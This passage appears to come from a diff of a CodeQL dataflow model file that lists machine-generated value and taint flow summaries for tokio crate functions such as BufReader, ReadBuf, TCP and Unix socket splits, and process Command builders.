"Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_interest_and_handle", "Argument[2]", "ReturnValue.Field[crate::runtime::io::registration::Registration::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::registration", "Argument[self].Field[crate::io::poll_evented::PollEvented::registration]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::advance_mut", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::remaining_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assume_init", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::initialize_unfilled_to", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::inner_mut", "Argument[self].Field[crate::io::read_buf::ReadBuf::buf]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_filled", "Argument[0]", "Argument[self].Field[crate::io::read_buf::ReadBuf::filled]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unfilled_mut", "Argument[self].Field[crate::io::read_buf::ReadBuf::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uninit", "Argument[0]", "ReturnValue.Field[crate::io::read_buf::ReadBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_usize", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_usize", "Argument[self].Field[crate::io::ready::Ready(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_usize", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::intersection", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::stdio_common::SplitByUtf8BoundaryIfWindows::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self].Field[crate::io::util::buf_reader::BufReader::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::buf_reader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::buf_reader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::buf_reader::BufReader::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::buf_reader::BufReader::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::util::buf_reader::BufReader::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::io::util::buf_stream::BufStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::buf]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::buf_writer::BufWriter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::util::buf_writer::BufWriter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::chain::Chain::first]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::chain::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::chain::Chain::first]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::chain::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::chain::Chain::first]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::chain::Chain::second]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_copy", "Argument[self].Field[crate::io::util::copy::CopyBuffer::amt]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::lines::Lines::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::lines::Lines::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::lines::Lines::reader]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_unsplit", "Argument[0]", "ReturnValue.Field[crate::io::util::mem::SimplexStream::max_buf_size]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF32::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF32Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF64::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF64Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI128::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI128Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI16::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI16Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI32::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI32Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI64::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI64Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI8::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU128::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU128Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU16::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU16Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU32::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU32Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU64::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU64Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU8::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::take::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::take::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::take::Take::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::limit", "Argument[self].Field[crate::io::util::take::Take::limit_]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_limit", "Argument[0]", "Argument[self].Field[crate::io::util::take::Take::limit_]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::apply_read_buf", "Argument[0].Field[crate::io::util::vec_with_initialized::ReadBufParts::initialized]", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::num_initialized]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_read_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF64::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF64Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI128::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI128Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI16::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI16Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI32::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI32Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI64::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI64Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI8::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::io::util::write_int::WriteI8::byte]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU128::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU128Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU16::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU16Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU32::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU32Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU64::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU64Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::byte]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::loom::std::barrier::Barrier::num_threads]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::loom::std::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::ReadHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::WriteHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedReadHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedWriteHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "Argument[self].Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "ReturnValue.Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::net::unix::socketaddr::SocketAddr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split::ReadHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split::WriteHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split_owned::OwnedReadHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split_owned::OwnedWriteHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue.Field[0].Field[crate::net::unix::split::ReadHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue.Field[1].Field[crate::net::unix::split::WriteHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::gid", "Argument[self].Field[crate::net::unix::ucred::UCred::gid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pid", "Argument[self].Field[crate::net::unix::ucred::UCred::pid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self].Field[crate::net::unix::ucred::UCred::uid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::net::unix::socketaddr::SocketAddr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::process::Command::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg0", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_std", "Argument[self].Field[crate::process::Command::std]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_std_mut", "Argument[self].Field[crate::process::Command::std]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::current_dir", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::env", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::env_clear", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::env_remove", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::envs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_kill_on_drop", "Argument[self].Field[crate::process::Command::kill_on_drop]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::gid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_std", "Argument[self].Field[crate::process::Command::std]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::kill_on_drop", "Argument[0]", "Argument[self].Field[crate::process::Command::kill_on_drop]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::kill_on_drop", "Argument[0]", "ReturnValue.Field[crate::process::Command::kill_on_drop]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::kill_on_drop", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pre_exec", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::process_group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stderr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::inner_mut", "Argument[self].Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", 